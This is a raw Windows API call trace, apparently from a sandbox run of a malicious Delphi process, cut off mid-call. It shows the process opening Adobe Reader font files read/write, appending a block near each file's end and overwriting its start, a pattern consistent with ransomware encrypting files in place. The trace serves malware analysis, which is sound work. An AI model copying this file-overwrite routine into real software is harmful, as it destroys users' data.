lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID", lpFilePart=0x32cf690*="Adobe-Japan1-H-CID") returned 0x49 [0043.104] GetLastError () returned 0x5 [0043.104] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.104] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.104] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.104] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.104] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.104] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.104] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid")) returned 0x20 [0043.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscms-uhc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.104] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC", lpFilePart=0x32cf690*="Adobe-Korea1-KSCms-UHC") returned 0x4d [0043.104] GetLastError () returned 0x5 [0043.104] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.104] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.104] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.104] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.105] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.105] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.105] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscms-uhc")) returned 0x20 [0043.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.105] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2", lpFilePart=0x32cf690*="ETen-B5-UCS2") returned 0x43 [0043.105] GetLastError () returned 0x5 [0043.105] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.105] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.105] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.105] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.105] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.106] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.106] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-ucs2")) returned 0x20 [0043.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.106] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H", lpFilePart=0x32cf690*="GB-EUC-H") returned 0x3f [0043.106] GetLastError () returned 0x5 [0043.106] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.106] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.106] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.106] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.106] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.106] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.106] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-h")) returned 0x20 [0043.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.107] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2", lpFilePart=0x32cf690*="GBpc-EUC-UCS2") returned 0x44 [0043.107] GetLastError () returned 0x5 [0043.107] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.107] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.107] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.107] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.107] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.107] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.107] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2")) returned 0x20 [0043.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.107] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H", lpFilePart=0x32cf690*="HKgccs-B5-H") returned 0x42 [0043.107] GetLastError () returned 0x5 [0043.107] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.107] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.107] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.108] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.108] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.108] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.108] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-h")) returned 0x20 [0043.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.108] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H", lpFilePart=0x32cf690*="KSC-EUC-H") returned 0x40 [0043.108] GetLastError () returned 0x5 [0043.108] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.108] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.108] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.108] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.108] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.109] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.109] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-h")) returned 0x20 [0043.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90ms-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.109] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ", lpFilePart=0x32cf690*="UCS2-90ms-RKSJ") returned 0x45 [0043.109] GetLastError () returned 0x5 [0043.109] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.109] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.109] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.109] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.109] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.109] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.109] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90ms-rksj")) returned 0x20 [0043.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H", lpFilePart=0x32cf690*="UniCNS-UTF16-H") returned 0x45 [0043.776] GetLastError () returned 0x5 [0043.776] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.776] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.776] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.776] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.779] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.782] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.782] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-h")) returned 0x20 [0043.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.785] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H", lpFilePart=0x32cf690*="UniJIS-UTF16-H") returned 0x45 [0043.786] GetLastError () returned 0x5 [0043.786] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.786] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.786] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.786] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.787] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.787] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.787] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-h")) returned 0x20 [0043.787] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bolditalic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3d9a0 [0043.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.788] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.788] ReleaseMutex (hMutex=0x128) returned 1 [0043.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0043.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x1e7fb4c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0043.788] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0043.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3c9a0 [0043.793] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0043.794] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3c9a0 [0043.794] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.794] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0043.794] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.794] CloseHandle (hObject=0x1ac) returned 1 [0043.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-italic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x113b8 [0043.795] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.795] ReleaseMutex (hMutex=0x128) returned 1 [0043.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0043.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x1e78b04, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Italic.otf", lpUsedDefaultChar=0x0) returned 20 [0043.795] ReadFile (in: hFile=0x1ac, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0043.797] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x103b8 [0043.797] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0043.798] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x103b8 [0043.798] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.798] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0043.798] WriteFile (in: hFile=0x1ac, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.799] CloseHandle (hObject=0x1ac) returned 1 [0043.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.799] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.799] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x175c4 [0043.799] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.799] ReleaseMutex (hMutex=0x128) returned 1 [0043.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0043.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, 